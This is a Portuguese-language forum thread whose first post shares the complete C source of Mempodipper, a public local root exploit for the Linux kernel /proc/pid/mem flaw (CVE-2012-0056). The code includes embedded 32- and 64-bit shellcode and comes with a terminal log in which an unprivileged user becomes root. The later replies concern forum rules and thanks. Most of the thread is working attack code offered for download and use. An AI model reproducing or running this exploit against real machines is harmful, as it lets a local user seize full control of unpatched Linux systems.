Resultados 1 a 4 de 4
  1. #1

    Linux kernel Privilege Escalation - 2.6.39

    Descrição
    Nova falha encontrada em sistemas Linux com o Kernel 2.6.39 se diferenciando em 32 e 64 bits. Este falha permite a execução de privilégio total ao sistema (root).



    O autor diz:
    Em 2.6.39, a proteção contra acesso não autorizado ao / proc / pid / mem foram consideradas suficientes, e assim o ifdef # antes que impediu escrever suporte para escrever a memória do processo arbitrário foi removido. Qualquer pessoa com as permissões corretas poderia escrever para processo de memória.
    Um exemplo do uso do Exploit:
    Código:
    von@ubuntu:~$ whoami
    von
    von@ubuntu:~$ id
    uid=1000(von) gid=1000(von) grupos=1000(von),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare)
    von@ubuntu:~$ ./Poc
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================
    
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/2087/mem in child.
    [+] Sending fd 3 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x8049520.
    [+] Calculating su padding.
    [+] Seeking to offset 0x804950e.
    [+] Executing su with shellcode.
    # whoami
    root
    # id
    uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare),1000(von)
    Para complementar, criei um vídeo demonstrando a falha:


    O download do exploit pode ser feito "aqui". Obrigado zx2c4


    Código:
    /*
     * Mempodipper
     * by zx2c4
     *
     * Linux Local Root Exploit
     *
     * Rather than put my write up here, per usual, this time I've put it
     * in a rather lengthy blog post: http://blog.zx2c4.com/749
     *
     * Enjoy.
     *
     * - zx2c4
     * Jan 21, 2012
     *
     * CVE-2012-0056
     */
    
    #define _LARGEFILE64_SOURCE
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/socket.h>
    #include <sys/un.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <limits.h>
    char *socket_path = "/tmp/.sockpuppet";
    int send_fd(int fd)
    {
        char buf[1];
        struct iovec iov;
        struct msghdr msg;
        struct cmsghdr *cmsg;
        struct sockaddr_un addr;
        int n;
        int sock;
        char cms[CMSG_SPACE(sizeof(int))];
        if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
            return -1;
        memset(&addr, 0, sizeof(addr));
        addr.sun_family = AF_UNIX;
        strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
        if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
            return -1;
        buf[0] = 0;
        iov.iov_base = buf;
        iov.iov_len = 1;
        memset(&msg, 0, sizeof msg);
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = (caddr_t)cms;
        msg.msg_controllen = CMSG_LEN(sizeof(int));
        cmsg = CMSG_FIRSTHDR(&msg);
        cmsg->cmsg_len = CMSG_LEN(sizeof(int));
        cmsg->cmsg_level = SOL_SOCKET;
        cmsg->cmsg_type = SCM_RIGHTS;
        memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
        if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
            return -1;
        close(sock);
        return 0;
    }
    int recv_fd()
    {
        int listener;
        int sock;
        int n;
        int fd;
        char buf[1];
        struct iovec iov;
        struct msghdr msg;
        struct cmsghdr *cmsg;
        struct sockaddr_un addr;
        char cms[CMSG_SPACE(sizeof(int))];
        if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
            return -1;
        memset(&addr, 0, sizeof(addr));
        addr.sun_family = AF_UNIX;
        strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
        unlink(socket_path);
        if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
            return -1;
        if (listen(listener, 1) < 0)
            return -1;
        if ((sock = accept(listener, NULL, NULL)) < 0)
            return -1;
        iov.iov_base = buf;
        iov.iov_len = 1;
        memset(&msg, 0, sizeof msg);
        msg.msg_name = 0;
        msg.msg_namelen = 0;
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = (caddr_t)cms;
        msg.msg_controllen = sizeof cms;
        if ((n = recvmsg(sock, &msg, 0)) < 0)
            return -1;
        if (n == 0)
            return -1;
        cmsg = CMSG_FIRSTHDR(&msg);
        memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
        close(sock);
        close(listener);
        return fd;
    }
    int main(int argc, char **argv)
    {
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
            char parent_mem[256];
            sprintf(parent_mem, "/proc/%s/mem", argv[2]);
            printf("[+] Opening parent mem %s in child.\n", parent_mem);
            int fd = open(parent_mem, O_RDWR);
            if (fd < 0) {
                perror("[-] open");
                return 1;
            }
            printf("[+] Sending fd %d to parent.\n", fd);
            send_fd(fd);
            return 0;
        }
        printf("===============================\n");
        printf("=          Mempodipper        =\n");
        printf("=           by zx2c4          =\n");
        printf("=         Jan 21, 2012        =\n");
        printf("===============================\n\n");
        int parent_pid = getpid();
        if (fork()) {
            printf("[+] Waiting for transferred fd in parent.\n");
            int fd = recv_fd();
            printf("[+] Received fd at %d.\n", fd);
            if (fd < 0) {
                perror("[-] recv_fd");
                return -1;
            }
            printf("[+] Assigning fd %d to stderr.\n", fd);
            dup2(2, 6);
            dup2(fd, 2);
            unsigned long address;
            if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
                address = strtoul(argv[2], NULL, 16);
            else {
                printf("[+] Reading su for exit@plt.\n");
                // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
                FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'", "r");
                char result[32];
                result[0] = 0;
                fgets(result, 32, command);
                pclose(command);
                address = strtoul(result, NULL, 16);
                if (address == ULONG_MAX || !address) {
                    printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                    printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
                    return 1;
                }
                printf("[+] Resolved exit@plt to 0x%lx.\n", address);
            }
            printf("[+] Calculating su padding.\n");
            FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
            char result[256];
            result[0] = 0;
            fgets(result, 256, command);
            pclose(command);
            unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
            unsigned long offset = address - su_padding;
            printf("[+] Seeking to offset 0x%lx.\n", offset);
            lseek64(fd, offset, SEEK_SET);
    #if defined(__i386__)
            // See shellcode-32.s in this package for the source.
            char shellcode[] =
                "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
                "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
                "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
                "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
                "\x80";
    #elif defined(__x86_64__)
            // See shellcode-64.s in this package for the source.
            char shellcode[] =
                "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
                "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
                "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
                "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
                "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
    #else
    #error "That platform is not supported."
    #endif
            printf("[+] Executing su with shellcode.\n");
            execl("/bin/su", "su", shellcode, NULL);
        } else {
            char pid[32];
            sprintf(pid, "%d", parent_pid);
            printf("[+] Executing child from child fork.\n");
            execl("/proc/self/exe", argv[0], "-c", pid, NULL);
        }
    }
    Fonte : http://0fx66.blogspot.com/2012/01/li...tion-2639.html
    Última edição por R0Dr1g0.; 27 Jan 2012 às 22:49. Razão: Editei para adicionar o conteúdo na integra
    Vocês riem de mim por eu ser diferente, e eu rio de vocês por serem todos iguais [ 0fx66 ]

  2. #2
    Muito bom o post,porém eu tive que editar para se adequar com as regras do fórum.
    Só é permitido post de matérias externas quando ela é colocada totalmente(não apenas a introdução e um link para continuar lendo).
    Os motivos são óbvios,um deles é que se por um acaso o site externo por algum motivo perder o conteudo, o fórum não vai.
    MP Com dúvidas e pedidos de ajudas serão IGNORADAS
    "Mentes fracas não pensam,corpos fracos não lutam."

    Microsoft Technology Associate: Software Development Fundamentals (C#
    )

  3. #3
    @R0Dr1g0 ah valeu. Não postei o tópico completo por preguiça mesmo ^^ (sorry my).

    O vídeo não saiu no tópico, mas tá aqui:



    Até!
    Vocês riem de mim por eu ser diferente, e eu rio de vocês por serem todos iguais [ 0fx66 ]

  4. #4
    Moderador Avatar de eduardu0
    Data de Ingresso
    Feb 2007
    Posts
    979
    Já havia recebido isso nas listas que acompanho e realmente é muito bom.

    Obrigado por compartilhar!

    Abraço.
    Pense em uma frase bonita.

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •